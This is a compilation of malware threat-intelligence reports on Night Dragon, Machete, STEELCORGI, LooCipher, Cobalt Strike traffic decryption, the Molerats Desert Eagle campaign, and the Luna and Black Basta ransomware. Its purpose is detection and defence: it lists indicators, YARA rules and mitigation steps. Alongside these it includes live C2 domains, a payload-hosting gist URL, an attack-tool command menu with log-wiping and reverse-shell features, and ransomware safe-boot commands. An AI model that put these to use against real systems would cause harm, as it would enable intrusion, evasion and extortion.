- Identify and examine any hosts generating suspected Night Dragon traffic and take necessary action to respond and recover.
- Maintain vigil for additions to Night Dragon’s C&C server and signature lists and quickly update your defenses accordingly.
2. **While there is no “patch” for Night Dragon, as a preventative measure ensure that security patches on all servers are up to date, especially for external-facing web servers as they are primary attack vectors.**
3. **Conduct keyword searches or “greps” of current and archived perimeter logs looking for signs of traffic to/from the known C&C servers (e.g. “find ‘is-a-chef.com’” or “grep 'is-a-chef.com' /logfilename”).** Examine both ICS and corporate network perimeter logs as far back as possible to the dates recommended by the McAfee whitepaper.
## Secondary Protection Measures
For entities wishing to pursue a more vigorous course of action or if entities discover evidence of Night Dragon activity or compromises using the previous steps, the following actions may be useful in helping to determine compromises at the host level.
1. **Review any systems/networks with trust relationships and analyze the active communications paths from those assets.**
2. **Run host-based automatic detection tools capable of discovering related malware on all hosts.** Examples of free tools include Stinger and the Night Dragon Vulnerability Scanner.
3. **Search systems for the following command and control programs and eliminate as applicable:**
- Filename: Shell.exe, MD5 Checksum: 093640a69c8eafbc60343bf9cd1d3ad3
- Filename: zwShell.exe, MD5 Checksum: 18801e3e7083bc2928a275e212a5590e
- Filename: zwShell.exe, MD5 Checksum: 85df6b3e2c1a4c6ce20fc8080e0b53e9
4. **A Trojan dropper, which is a delivery mechanism for malware, is commonly used in Night Dragon attacks.** It is usually executed through a PSEXEC or an RDP session and may leave valuable forensic information in system event logs. When executed, the dropper creates a temporary file that is reflected in Windows update logs (“KB*.log” files in “C:\Windows”). This temporary file may have limited usefulness, as it may disappear if a backdoor is successfully opened. Its lack of existence doesn’t guarantee a system is free of infection.
5. **A Trojan backdoor may exist as a DLL usually located in the %System%\System32 or %System%\SysWOW64 directory.** This DLL is a system or hidden file, 19 KB to 23 KB in size, and includes an XOR-encoded data section that is defined by the C&C application when the dropper is created. It includes the network service identifier, registry service key, service description, mutex name, C&C server address, port, and dropper temporary file name. The backdoor may operate from any configured TCP port.
6. **Two potential Trojan backdoors:**
- Filename: startup.dll, MD5 Checksum: A6CBA73405C77FEDEAF4722AD7D35D60
- Filename: connect.dll, MD5 Checksum: 6E31CCA77255F9CDE228A2DB9E2A3855
7. **And finally, if compromises are suspected or discovered, work closely with your operating system and application vendors to ensure safe and complete eradication.** |
# El Machete
## Introduction
Some time ago, a Kaspersky Lab customer in Latin America contacted us to say he had visited China and suspected his machine was infected with an unknown, undetected malware. While assisting the customer, we found a very interesting file in the system that is completely unrelated to China and contained no Chinese coding traces. At first look, it pretends to be a Java related application but after a quick analysis, it was obvious this was something more than just a simple Java file. It was a targeted attack we are calling "Machete".
## What is "Machete"?
"Machete" is a targeted attack campaign with Spanish speaking roots. We believe this campaign started in 2010 and was renewed with an improved infrastructure in 2012. The operation may still be "active". The malware is capable of the following cyber-espionage operations:
- Logging keystrokes
- Capturing audio from the computer's microphone
- Capturing screenshots
- Capturing geolocation data
- Taking photos from the computer's web camera
- Copying files to a remote server
- Copying files to a special USB device if inserted
- Hijacking the clipboard and capturing information from the target machine
## Targets of "Machete"
Most of the victims are located in Venezuela, Ecuador, Colombia, Peru, Russia, Cuba, and Spain, among others. In some cases, such as Russia, the target appears to be an embassy from one of the countries on this list. Targets include high-level profiles, including intelligence services, military, embassies, and government institutions.
## How does "Machete" operate?
The malware is distributed via social engineering techniques, which include spear-phishing emails and infections via the web by a fake blog website. We have found no evidence of exploits targeting zero-day vulnerabilities. Both the attackers and the victims appear to be Spanish-speaking.
During this investigation, we also discovered many other files installing this cyber-espionage tool in what appears to be a dedicated spear phishing campaign. These files display a PowerPoint presentation that installs the malware on the target system once the file is opened. These are the names of the PowerPoint attachments:
- Hermosa XXX.pps.rar
- Suntzu.rar
- El arte de la guerra.rar
- Hot Brazilian XXX.rar
These files are in reality Nullsoft Installer self-extracting archives and have compilation dates going back to 2008. A consequence of the embedded Python code inside the executables is that these installers include all the necessary Python libraries as well as the PowerPoint file shown to the victim during the installation. The result is extremely large files, over 3MB.
A technically relevant fact about this campaign is the use of Python embedded into Windows executables of the malware. This is very unusual and does not have any advantage for the attackers except ease of coding. There is no multi-platform support as the code is heavily Windows-oriented (use of libraries). However, we discovered several clues that the attackers prepared the infrastructure for Mac OS X and Unix victims as well. In addition to Windows components, we also found a mobile (Android) component. Both attackers and victims speak Spanish natively, as we see it consistently in the source code of the client side and in the Python code.
## Indicators of Compromise
### Web infections
The following code snippets were found in the HTML of websites used to infect victims:
Note: Thanks to Tyler Hudak from Korelogic who noticed that the above HTML is copy-pasted from SET, The Social Engineering Toolkit.
Also, the following link to one known infection artifact:
hxxp://name.domain.org/nickname/set/Signed_Update.jar
### Domains
The following are domains found during the infection campaign. Any communication with them must be considered extremely suspicious:
- java.serveblog.net
- agaliarept.com
- frejabe.com
- grannegral.com
- plushbr.com
- xmailliwx.com
- blogwhereyou.com (sinkholed by Kaspersky Lab)
- grannegral.com (sinkholed by Kaspersky Lab)
### Infection artifacts
| MD5 | Filename |
|--------------------------------------------------|----------------------------------|
| 61d33dc5b257a18eb6514e473c1495fe | AwgXuBV31pGV.eXe |
| b5ada760476ba9a815ca56f12a11d557 | EL ARTE DE LA GUERRA.exe |
| d6c112d951cb48cab37e5d7ebed2420b | Hermosa XXX.rar |
| df2889df7ac209e7b696733aa6b52af5 | Hermosa XXX.pps.rar |
| e486eddffd13bed33e68d6d8d4052270 | Hermosa XXX.pps.rar |
| e9b2499b92279669a09fef798af7f45b | Suntzu.rar |
| f7e23b876fc887052ac8e2558f0d6c38 | Hot Brazilian XXX.rar |
| b26d1aec219ce45b2e80769368310471 | Signed_Update.jar |
### Traces on infected machines
Creates the file Java Update.lnk pointing to appdata/Jre6/java.exe.
Malware is installed in appdata/MicroDes/.
Running processes create Task Microsoft_up.
## Human part of "Machete"
### Language
The first evidence is the language used, both for the victims and attackers, is Spanish. The victims are all Spanish-speaking according to the filenames of the stolen documents. The language is also Spanish for the operators of the campaign; we can find all the server-side code written in this language: reportes, ingresar, peso, etc.
## Conclusion
The "Machete" discovery shows there are many regional players in the world of targeted attacks. Unfortunately, such attacks have become a part of the cyber arsenal of many nations located around the world. We can be sure there are other parallel targeted attacks running now in Latin America and other regions. Kaspersky Lab products detect malicious samples related to this targeted attack as Trojan-Spy.Python.Ragua. |
# Opening “STEELCORGI”: A Sophisticated APT Swiss Army Knife
**January 12, 2021**
## Introduction
2020 was a really intense year in terms of APT activities; it brought us new evidence of sophisticated campaigns targeting Enterprises organization across Europe and also Italy. In particular, the threat group we track as TH-239, also mentioned as UNC1945 by FireEye security researchers, has been one of the sneakiest. We discussed some of the new techniques and modus operandi used by this actor in our previous post, revealing how it leverages modern post-exploitation tools even in legacy environments such as old Linux-based machines: with the help of a portable virtual machine, TH-239 is able to move part of its arsenal directly into the victim's internal network.
This time we decided to dissect and share intelligence information about another piece of the TH-239 arsenal: a tiny and mysterious tool dubbed “STEELCORGI” on FireEye research. This tool was heavily protected using a novel technique able to make things really difficult for any DFIR Team tackling TH-239 intrusion, but its contents reveal huge surprises and unattended capabilities.
## Technical Analysis
One of the most interesting components of the TH-239 arsenal is an ELF binary file classified as “STEELCORGI”. The tool is presented in the form of an ELF named with the following md5: `0845835e18a3ed4057498250d30a11b1`. This binary is protected in a very aggressive way.
### A Packed ELF
During the analysis, we noticed that this ELF was very far from being readable. We extracted a series of elements confirming us that:
- High file dimension (more than 4MB)
- Obfuscated strings
- Absence of Dynamic and (.dynsym) and Static Symbol Tables (.symtab)
- Absence of section-headers as Anti-reverse engineering Technique
- High value of entropy > 7.9
- Runtime linking mechanism with dlopen and dlsym
As the first step, we focused on the static analysis of the sample in order to reconstruct the high level of sophistication and complexity of the packing. At first impact, strings are obfuscated, the binary is dynamically linked but the dynamic symbols table is empty. Also, the absence of section-headers is an anti-reverse engineering technique adopted in this packer. Another indicator that the binary is packed is the high value of entropy 7.99.
At this point, we aren’t able to retrieve any other information about the packer, so we have to analyze the malicious routines aimed at unpacking the sample. During the code inspection, a very long and complex subroutine emerges. It is a particular decoding routine instructed to decrypt some other protected code and strings. The code is a complex succession of logic instructions, like xor, shift, etc. In the end of the decoding routine, the sample performs a check on the environment variables, looking for a custom one installed by the TH-239 operators.
In fact, the environment variable “MCARCH_” contains the decryption key of the protector wrapper. When the malware retrieves the desired environment variable, it starts the unpacking routine using the key stored in it and then starts the execution of the real payload. This approach is a great evasion technique because it avoids the execution of the sample in any environments except the ones where TH-239 operators decide to get in.
### A Closer Look to the Stub
In addition, this packed ELF is matching some suspicious functions usually found in backdoors using the runtime linking techniques. The presence of the dlopen and dlsym syscalls inside libdl.so.2 is a clear indicator that this ELF uses a runtime linking mechanism by which hides all the dynamic symbols. The dlopen() function loads a shared object into the calling process’s address space. The symbol resolution is done by the dlsym() syscall which returns the address of the first occurrence of the symbol. Setting a breakpoint on dlopen() we are able to know which libraries are loaded at runtime.
Then, in the same way, we dump all the symbols resolved at runtime with the dlsym() syscall. Inspecting the new unpacked memory, we immediately noticed its structure with all the program headers and section headers, then we found all the loaded new segments mapped into Virtual Memory at specific offsets. These LOAD segments contain unpacked payload: it has different size than and the number of program-headers and section-headers are also different. The unpacked version has a lot of clear-text LOAD sections that were previously unpacked from memory.
Inspecting all these unpacked regions, we found some dictionaries used by the backdoor for enumeration or brute force. This is very interesting because it shows us the real capabilities and the magnitude of this Kill Chain.
## The APT Swiss Army Knife
At this point of the analysis, we want to provide an overview of the capabilities of this malware sample. It is a complete toolset for reconnaissance, lateral movement, exploitation, and post-exploitation activities. When the toolset is launched, it shows the complete menu with all the possible commands.
One of the sneakiest commands we noticed is the “bleach” one, able to delete all btmp, wtmp, and btmp logs. The btmp log keeps track of failed login attempts; wtmp gives historical data of utmp and btmp provides the complete picture of users logins at which terminals, logouts, system events, and current status of the system, system boot time (used by uptime), etc. It is also able to clean Syslog logs in `/var/log/syslog`, `/var/log/messages`, `/var/log/secure`, and `/var/log/auth.log` or optionally all of them with the “-A” flag (utmp+wtmp+lastlog+syslog) which is the default.
There is also the possibility to apply the so-called “Clean Filters” to clean logs for specific users or IP or according to date, etc.
```
clean (filters): [-n <user>] to filter by user (can be set multiple times)
[-t <tty>] to filter by tty (can be set multiple times)
[-i <ip|host>] to filter by ip/host (can be set multiple times)
[-p <pid>] to filter by pid (can be set multiple times)
[-d <date>] to filter by date (can be set multiple times)
[-g <str>] to filter by string (can be set multiple times)
```
It is clear that the usage of the “bleach” parameter during an intrusion results in hard times for the DFIR team.
However, the functionalities and tools embedded in this ELF binary are really wide and this is exactly why we referenced the tool as an APT Swiss Army knife. Here we sum up a list of the most interesting ones among the enlisting of all the available commands.
```
sendmail [ sun4me | demo | unixcat | nc110 | netcat | netcat-ssl | telnet |
traceroute | traceroute-tcp | traceroute-tcpfin | traceroute-udp | traceroute-icmp
| traceroute-all | sctpscan | sdporn | onesixtyone | snmpgrab | tftpd | ciscopush
| ciscown | ciscomg | HEAD | GET | ssleak | rmiexec | pogo | pogo2 | elogic | Cmd
| backfire | netbackup | netrider | sniff | bleach | nfsshell | mikrotik-client |
sid-force | ssh-user | sshock | ssh | arpmap | ricochet | mac2vendor | ip2country
| ipgen | ipsort | ipcalc | range2class | crunch | words.pl | passgen | passcheck
| getpass | decrypt-cisco | decrypt-vnc | decrypt-cvs | wmon | pmon | lemon | pty
| exec | nsexec | nsexec2 | setns | dumpkcore | dumpmem | pcregrep | xxd | strings
| sstrip | shred | md5sum | sha1sum | sha256sum | compress | uncompress | encrypt
| decrypt | uuencode | uudecode | base64 | whois | whob | resolv | ahost | adig |
axfr | asrv | aspf | periscope | scanip.sh | aliveips.sh | brutus.pl |
enum4linux.pl | snmpcheck.pl | = | _ | . | -? ] [options] [args]
```
The amount of available commands is simply impressive: some are known system utilities, some others are offensive scripts, other ones known hacking tools, and other ones mysterious, custom commands. To sum up, we noticed at least four categories of tools embedded in this single ELF binary:
- **Network and Enumeration Tools** such as netcat, unixcat, netcat-ssl, telnet, traceroute, and others.
- **Anti-Forensics tools** such as bleach, clean.
- **System Utilities** such as md5, sha1, mac2vendor, xxd, and others.
- **Escalation and Exploitation tools** like ssleak, decrypt-vpn, pogo, pogo2, sid-force, sshock, decrypt-cisco, decrypt-vnc, decrypt-cvs.
There are tools for enumeration such as arp, DNS, active directory, whois, IP enumeration, and so on, some network tools and utilities for supporting exploiting and enumeration operations, also some exploitation and decryption tools specifically for CISCO, VNC, CVS, and Mikrotik systems.
### SShock
SShock is a tool used to bruteforce SSH logins. In fact, it is possible to specify a user list (-u arg) and a password list (-p arg).
### Lemon
Lemon is a very powerful monitoring utility capable of monitoring all system events such as fork, exec, exit, core, etc., of specific processes or users. All monitored events could be filtered with specific switches (-p, -c, -u).
### Ssleak
Ssleak is a utility to sniff SSL traffic. It is possible to specify a target and then dump all packets sent to and from in order to leak some information such as the server’s certificate, server’s canonical names, etc. Moreover, it is also possible to exploit Heartbleed Vulnerability (CVE-2014-0160) with custom-forged heartbeat packets.
### Backfire
Backfire is a tool used to establish and manage connect-back (or reverse) shells. A reverse shell permits to establish a connection between the compromised host (pivot) and the target machine when the target machine is not directly accessible for several reasons.
### Ricochet
Ricochet is a powerful utility for packet spoofing and FW ACL assessment. The tool can act as a client or a server. The client version permits to forge IP-PROTO/ICMP/UDP/TCP packets in order to test fw ACLs while the server is used to listen for replies coming from the firewall.
## Conclusion
The versatility of the “STEELCORGI” tool used by TH-239 is really impressive: all such capabilities embedded in a single, standalone, ready-to-deploy binary file, potentially enabling the attacker to establish a hidden communication channel, to recon internal network, and to step in remote endpoint abusing various techniques. Also, this sort of “Swiss army knife” was also heavily protected in a way that could be activated only during an actual intrusion, because the activation key is inoculated into the compromised system directly by the malicious operators, at run time.
All these facts remind us how dangerous and slimy an advanced intruder could sneak into the company network: tackling such kinds of threats requires advanced intelligence and analysis capabilities.
## Appendix
### Indicator of Compromise
**Hash:**
`0845835e18a3ed4057498250d30a11b1`
**Yara:**
```yara
rule ELF_packed_STEELCORGI_backdoor_UNC1945 {
meta:
description = "Yara Rule for packed ELF backdoor of UNC1945"
author = "Yoroi Malware Zlab"
last_updated = "2020_12_21"
tlp = "white"
category = "informational"
strings:
$s1={4? 88 47 3c c1 6c ?4 34 08 8a 54 ?? ?? 4? 88 57 3d c1 6c}
$s2={0f b6 5? ?? 0f b6 4? ?? 4? c1 e2 18 4? c1 e0 10 4? }
$s3={8a 03 84 c0 74 ?? 3c 3d 75 ?? 3c 3d 75 ?? c6 03 00 4? 8b 7d 00}
$s4={01 c6 89 44 ?? ?? 8b 44 ?? ?? 31 f2 89 74 ?? ?? c1}
$s5={ 4? 89 d8 4? 31 f2 4? c1 e0 13 4? 01 d7 4? }
condition:
uint32(0) == 0x464c457f and 3 of them
}
rule ELF_unpacked_STEELCORGI_backdoor_UNC1945 {
meta:
description = "Yara Rule for unpacked ELF backdoor of UNC1945"
author = "Yoroi Malware Zlab"
last_updated = "2020_12_21"
tlp = "white"
category = "informational"
strings:
$s1="MCARC"
$s2="833fc0088ea41bc3331db60ae2.debug"
$s3="PORA1022"
$s4="server"
$s5="test"
$s6="no ejecutar git-update-server-info"
$s7="dlopen"
$s8="dlsym"
$s9="5d5c6da19e62263f67ca63f8bedeb6.debug"
$s10={72 69 6E 74 20 22 5B 56 5D 20 41 74 74 65 6D 70 74 69 6E 67 20 74 6F 20 67 65 74 20 4F 53 20 69 6E 66 6F 20 77 69 74 68 20 63 6F 6D 6D 61 6E 64 3A 20 24 63 6F 6D 6D 61 6E 64 5C 6E 22 20 69 66 20 24 76 65 72 62 6F 73 65 3B}
condition:
all of them and #s4>50 and #s5>20
}
```
This blog post was authored by Luigi Martire, Antonio Pirozzi, and Luca Mella of Yoroi Malware ZLAB. |
# Free Tool: LooCipher Decryptor
There are many ways to fight cyber-crime, but what we used to do in Yoroi is malware analysis and incident response by using special and proprietary technologies. Often analyses are enough to temporarily block cyber-criminals by sharing IOC, allowing national and international players (ISP, AV vendors, CERTs, and so on) to block connections or to trash files. But sometimes when a ransomware hits a victim, the ultimate desire is to be able to decrypt those files and to restore the last consistent data set. Today we realized this ultimate scope and we want to release it public, to everybody who needs a decryptor for LooCipher.
At the beginning of July, Yoroi Z-Lab Team publicly released a quite exhaustive report about LooCipher. The initial vector (through Microsoft Office Macro) was foreshadowing an important spread over the next few days. Indeed, a few days later, Fortinet researchers released a nice report on LooCipher, mostly focused on the encryption algorithm, where they discussed it through a Python POC.
> “LooCipher starts its encryption routine by generating a 16-byte data block with random characters chosen from the following predefined characters, using the current system time as seed.”
> From Fortinet report
Most of the LooCipher technical features are described as follows:
- The ransomware spreads using weaponized Word documents.
- The Command and Control is hosted on the TOR Network, at the following onion address “hxxp://hcwyo5rfapkytajg[.]onion”.
- The attackers leverage several Tor2Web proxy services to easily allow access to the Tor C2.
- The binary can work both as cryptor and decryptor.
- The C2 dynamically generates a different Bitcoin address for each infection.
The Fortinet researchers spent time describing the used algorithm (AES-256-ECB) and portrayed a decryption code. By focusing on how to recover the obfuscated key – which was retrievable either via network or via memory dumping – Fortinet researchers gave us the right reading key to be able to write our own decryptor code.
The turning point was on the way the key was encoded. The obfuscation method was quite trivial. It consists of a simple find-and-replace of each key character with a predefined double-digit number, belonging to the following set:
**Decoding Matrix**
So once retrieved the obfuscated key, it was possible to reconstruct the original key to decrypt all involved files.
The master key is available directly in memory into LooCipher segments. So please remember not to kill the process even if you have been infected or to not reboot your Windows box. If you kill the process or reboot your system, ZLab Team decrypter is not going to work there. You can download it and use it for free.
1. Find the Process ID of the LooCipher ransomware.
2. Open cmd with Administrator privileges in the path where the tool is downloaded.
3. In cmd prompt: `ZLAB_LOOCIPHER_DECRYPTION_TOOL.exe <PID>`
Happy recovery! |
# Cobalt Strike: Using Process Memory To Decrypt Traffic – Part 3
We decrypt Cobalt Strike traffic with cryptographic keys extracted from process memory. This series of blog posts describes different methods to decrypt Cobalt Strike traffic. In part 1 of this series, we revealed private encryption keys found in rogue Cobalt Strike packages. In part 2, we decrypted Cobalt Strike traffic starting with a private RSA key. In this blog post, we will explain how to decrypt Cobalt Strike traffic if you don’t know the private RSA key but do have a process memory dump.
Cobalt Strike network traffic can be decrypted with the proper AES and HMAC keys. In part 2, we obtained these keys by decrypting the metadata with the private RSA key. Another way to obtain the AES and HMAC key is to extract them from the process memory of an active beacon.
One method to produce a process memory dump of a running beacon is to use Sysinternals’ tool `procdump`. A full process memory dump is not required; a dump of all writable process memory is sufficient. Example of a command to produce a process dump of writable process memory: `procdump.exe -mp 1234`, where `-mp` is the option to dump writable process memory and `1234` is the process ID of the running beacon. The process dump is stored inside a file with extension `.dmp`.
For Cobalt Strike version 3 beacons, the unencrypted metadata can often be found in memory by searching for byte sequence `0x0000BEEF`. This sequence is the header of the unencrypted metadata. The earlier in the lifespan of a process the process dump is taken, the more likely it is to contain the unencrypted metadata.
Tool `cs-extract-key.py` can be used to find and decode this metadata. The metadata contains the raw key: 16 random bytes. The AES and HMAC keys are derived from this raw key by calculating the SHA256 value of the raw key. The first half of the SHA256 value is the HMAC key, and the second half is the AES key. These keys can then be used to decrypt the captured network traffic with tool `cs-parse-http-traffic.py`, as explained in Part 2.
Remark that tool `cs-extract-key.py` is likely to produce false positives: namely byte sequences that start with `0x0000BEEF`, but are not actual metadata. This is the case for the example in figure 2: the first instance is indeed valid metadata, as it contains a recognizable machine name and username. And the AES and HMAC key extracted from that metadata have also been found at other positions in process memory. But that is not the case for the second instance (no recognizable names, no AES and HMAC keys found at other locations). Thus, that is a false positive that must be ignored.
For Cobalt Strike version 4 beacons, it is very rare that the unencrypted metadata can be recovered from process memory. For these beacons, another method can be followed. The AES and HMAC keys can be found in writable process memory, but there is no header that clearly identifies these keys. They are just 16-byte long sequences, without any distinguishable features. To extract these keys, the method consists of performing a kind of dictionary attack. All possible 16-byte long, non-null sequences found in process memory will be used to try to decrypt a piece of encrypted C2 communication. If the decryption succeeds, a valid key has been found. This method does require a process memory dump and encrypted data.
This encrypted data can be extracted using tool `cs-parse-http-traffic.py` like this: `cs-parse-http-traffic.py -k unknown capture.pcapng`. With an unknown key (`-k unknown`), the tool will extract the encrypted data from the capture file.
Packet 103 is an HTTP response to a GET request (packet 97). The encrypted data of this response is 64 bytes long:
```
d12c14aa698a6b85a8ed3c3c33774fe79acadd0e95fa88f45b66d8751682db734472b2c9c874ccc70afa426fb2f510654df7042aa7d2384229518f26d
```
This is encrypted data sent by the team server to the beacon: it contains tasks to be executed by the beacon.
We can attempt to decrypt this data by providing tool `cs-extract-key.py` with the encrypted task (option `-t`) and the process memory dump:
```
cs-extract-key.py -t d12c14aa698a6b85a8ed3c3c33774fe79acadd0e95fa88f45b66d8751682db734472b2c9c874ccc70afa426fb2f510654df7042aa7d2384229518f26d rundll32.exe_211028_205047.dmp.
```
The recovered AES and HMAC key can then be used to decrypt the traffic (`-k HMACkey:AESkey`).
The decrypted tasks are “data jitter”. Data jitter is a Cobalt Strike option that sends random data to the beacon (random data that is ignored by the beacon). With the default Cobalt Strike beacon profile, no random data is sent, and data is not transformed using malleable instructions. This means that with such a beacon profile, no data is sent to the beacon as long as there are no tasks to be performed by the beacon: the Content-length of the HTTP reply is 0.
Since the absence of tasks results in no encrypted data being transmitted, it is quite easy to determine if a beacon received tasks or not, even when the traffic is encrypted. An absence of (encrypted) data means that no tasks were sent. To obfuscate this absence of commands (tasks), Cobalt Strike can be configured to exchange random data, making each packet unique. But in this particular case, that random data is useful to blue teamers: it permits us to recover the cryptographic keys from process memory. If no random data would be sent, nor actual tasks, we would never see encrypted data and thus we would not be able to identify the cryptographic keys inside process memory.
Data sent by the beacon to the team server contains the results of the tasks executed by the beacon. This data is sent with a POST request (default) and is known as a callback. This data too can be used to find decryption keys. In that case, the process is the same as shown above, but the option to use is `-c` (callback) instead of `-t` (tasks). The reason the options are different is that the way the data is encrypted by the team server is slightly different from the way the data is encrypted by the beacon, and the tool must be told which way to encrypt the data was used.
## Some considerations regarding process memory dumps
For a process memory dump of maximum 10MB, the “dictionary” attack will take a couple of minutes. Full process dumps can be used too, but the dictionary attack can take much longer because of the larger size of the dump. Tool `cs-extract-key.py` reads the process memory dump as a flat file, and thus a larger file means more processing to be done.
However, we are working on a tool that can parse the data structure of a dump file and extract/decode memory sections that are most likely to contain keys, thus speeding up the key recovery process. Remark that beacons can be configured to encode their writable memory while they are not active (sleeping): in such cases, the AES and HMAC keys are encoded too, and cannot be recovered using the methods described here. The dump parsing tool we are working on will handle this situation too.
Finally, if the method explained here for version 3 beacons does not work with your particular memory dump, try the method for version 4 beacons. This method works also for version 3 beacons.
## Conclusion
Cryptographic keys are required to decrypt Cobalt Strike traffic. The best situation is to have the corresponding private RSA key. If that is not the case, HMAC and AES keys can be recovered using a process memory dump and capture file with encrypted traffic. |
# Malware Party: Operation Desert Eagle
**July 06, 2017**
Operation Desert Eagle takes a look into the recent activity of the Molerats (Gaza cybergang) group. These actors are believed to be politically motivated.
---
## Decoy Docs/Links (Translated):
- "Who stands around the attempt to assassinate al – Jubeir"
- "The quarrel between Trump and Abbas"
- "Exclusive video of an assassin of the leader of the Hamas movement Mazen Faqha."
- "A leaked document that outlines Majid Faraj's plan to install Dahlan as head of the Gaza government!"
---
## Malware (NeD Worm?)
The quarrel between Trump and Abbas (a856f56fec6abdc3a93c3715be1567e5)
### Network Activity:
- DNS request
- Server Response
- Beacon Connection check + Host identifier and campaign
- Additional Beacon
- 2nd part of the beacon POST /CheckVersion.php HTTP/1.1
- Content-Type: application/x-www-form-urlencoded
- User-Agent: 32170141182235342154130912011691581873993Send-N
- Host: xxx.xxx.xxx.xxx
- Content-Length: 447
- Expect: 100-continue
9568=[host identifier]Random,&1077569=[Base64 Data]
User agent has campaign ID (Send-N, JOND, Random, or FUD) appended to the end of the victim’s unique identifier string.
Another interesting thing to note is that the backdoor does not make the GET requests to the domain names above (wiknet[.]wikaba[.]com or wiknet[.]moo[.]com). Rather, it uses the IP that the host name points to (in this case, my fakenet dns ip).
Let’s take a look on how this network traffic compares to the older NeD Worm samples.
---
## Host Activity:
### Dropped Files:
- C:\Program Files (x86)\%AppDate%\29175\explorer.vbs
- C:\Program Files (x86)\%AppDate%\29175\News.url
- C:\Users\User\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\explorer.lnk
- C:\Users\User\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\explorer.vbs
- C:\Users\User\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\powershell.lnk
- C:\CheckVersion.php
After execution, a registry key (HKU\...\Software\Microsoft\KeyName:) is created which contains the backdoor in base64.
A VBScript replaces the following characters (~&^^%) each with a “0”. After the characters are replaced, the file is then base64 decoded and executed.
C:\CheckVersion.php – contains the POST data used in the 2nd portion of the beacon.
---
## Additional Backdoor Obfuscation/Delivery:
### Sample (4cbebeda71dceb9914a21d06e22223af)
Once executed, the sample makes a request for:
hxxps://gist[.]githubusercontent[.]com/0lol0/e69206a709a80133aebf55153847a6b2/raw/906a8928930dbef36b157600fac11f0f04e4684/System.ps1
The actors use the same obfuscation technique as the previous sample, this time replacing the following characters “$#~dqw645” with “0”.
When taking a look at the github account for user “0lol0” we can see that the actors have reused this account for another sample with a slightly different script.
The file 1.ps1 (other file on “0lol0’s” account) is a downloader (most likely for the backdoor).
---
## Infrastructure overlaps with Operation Dusty Sky:
---
## Indicators Of Compromise:
| IOC | Type/Comments |
|------------------------------------------|---------------|
| Wiknet[.]wikaba[.]com | C&C |
| Wiknet[.]moo[.]com | C&C |
| 104.200.67[.]190 | C&C |
| a856f56fec6abdc3a93c3715be1567e5 | MD5 - The quarrel between Trump and Abbas |
| 567e5 | |
| 91d0770261df8a1b3eba61483fd | MD5 - Who stands around the attempt to assassinate al – Jubeir |
| b255c | |
| b241ae467006667eca4c2619855 | MD5 - Exclusive video of an assassin of the leader of the Hamas movement Mazen Faqha. |
| f5377 | |
| 278440a46195ba8fa628460530e | MD5 - Has honey years ended between Hamas and Al-Thani? |
| 601ed | |
| 4cbebeda71dceb9914a21d06e22223af | MD5 - A leaked document that outlines Majid Faraj's plan to install Dahlan as head of the Gaza government! |
| ea406ea60a05afa14f7debc67a7 | MD5 - Backdoor |
| 5a472 | |
| 1c64b27a58b016a966c654f1fdf4 | MD5 - Backdoor |
| c155 | |
| c8ab6e29d76d43268a5028f17fe | MD5 - Backdoor |
| 4f48e | |
| 2a7e0463c7814465f9a78355c47 | MD5 - Backdoor |
| 54d0a | |
| d01ff6f0bfb1b515e8ba10a453c7 | MD5 - Backdoor |
| 4d53 | |
| 9bda0be7b30155c26c9236cbac7 | MD5 - starts\explorer.vbs |
| 31dbd | | |
# Luna and Black Basta — New Ransomware for Windows, Linux, and ESXi
## Authors
Marc Rivero
Jornt van der Wiel
Dmitry Galov
Sergey Lozhkin
## Introduction
In our crimeware reporting service, we analyze the latest crime-related trends we come across. If we look back at what we covered last month, we will see that ransomware definitely stands out. In this blog post, we provide several excerpts from last month’s reports on new ransomware strains.
## Luna: Brand-New Ransomware Written in Rust
Last month, our Darknet Threat Intelligence active monitoring system notified us of a new advertisement on a darknet ransomware forum. As one can see from the advertisement, the malware is written in Rust and runs on Windows, Linux, and ESXi systems. Armed with this knowledge, we went hunting for samples, finding a few via the Kaspersky Security Network (KSN).
### Command Line Options Available in Luna
Judging by the command line options available, Luna is fairly simple. The encryption scheme it uses, however, is not so typical, as it involves x25519 and AES, a combination not often encountered in ransomware schemes. Both the Linux and ESXi samples are compiled using the same source code with some minor changes from the Windows version. For example, if the Linux samples are executed without command line arguments, they will not run. Instead, they will display available arguments that can be used. The rest of the code has no significant changes from the Windows version.
The advertisement states that Luna only works with Russian-speaking affiliates. Also, the ransom note hardcoded inside the binary contains spelling mistakes. For example, it says “a little team” instead of “a small team.” Because of this, we assume with medium confidence that the actors behind Luna are speakers of Russian. Since Luna is a freshly discovered group, there is still little data on its victimology, but we at Kaspersky are following Luna’s activity.
Luna confirms the trend for cross-platform ransomware: current ransomware gangs rely heavily on languages like Golang and Rust. A notable example includes BlackCat and Hive. The languages being platform agnostic, the ransomware written in these can be easily ported from one platform to others, and thus, attacks can target different operating systems at once. In addition to that, cross-platform languages help to evade static analysis.
## Black Basta
Black Basta is a relatively new ransomware variant written in C++ which first came to light in February 2022. The malware, the infrastructure, and the campaign were still in development mode at the time. For example, the victim blog was not online yet, but the Black Basta website was already available to victims.
Black Basta supports the command line argument “-forcepath” that is used to encrypt only files in a specified directory. Otherwise, the entire system, with the exception of certain critical directories, is encrypted. Two months after the first encounter, in April, the ransomware had grown more mature. New functionality included starting up the system in safe mode before encryption and mimicking Windows Services for persistence reasons.
The safe-mode reboot functionality is not something we come across every day, even though it has its advantages. For example, some endpoint solutions do not run in safe mode, meaning the ransomware will not be detected and files in the system can be easily encrypted. In order to start in safe mode, the ransomware executes the following commands:
```
C:\Windows\SysNative\bcdedit /set safeboot networkChanges
C:\Windows\System32\bcdedit /set safeboot networkChanges
```
Earlier versions of Black Basta contained a different rescue note from the one currently used, which showed similarities to the ransom note used by Conti. This is not as odd as it may seem, because Black Basta was still in development mode at the time.
### Rescue Notes Comparison
To ascertain that there was indeed no code overlap between Conti and the earlier versions of Black Basta, we fed a few samples to the Kaspersky Threat Attribution Engine (KTAE). Indeed, only the strings overlap. There is thus no overlap in code per se.
## Black Basta for Linux
In another report we wrote last month, we discussed the Black Basta version for Linux. It was specifically designed to target ESXi systems, but it could be used for general encryption of Linux systems as well, although that would be a bit cumbersome. Just like the version for Windows, the Linux version supports only one command line argument: “-forcepath.” When it is used, only the specified directory is encrypted. If no arguments are given, the “/vmfs/volumes” folder is encrypted.
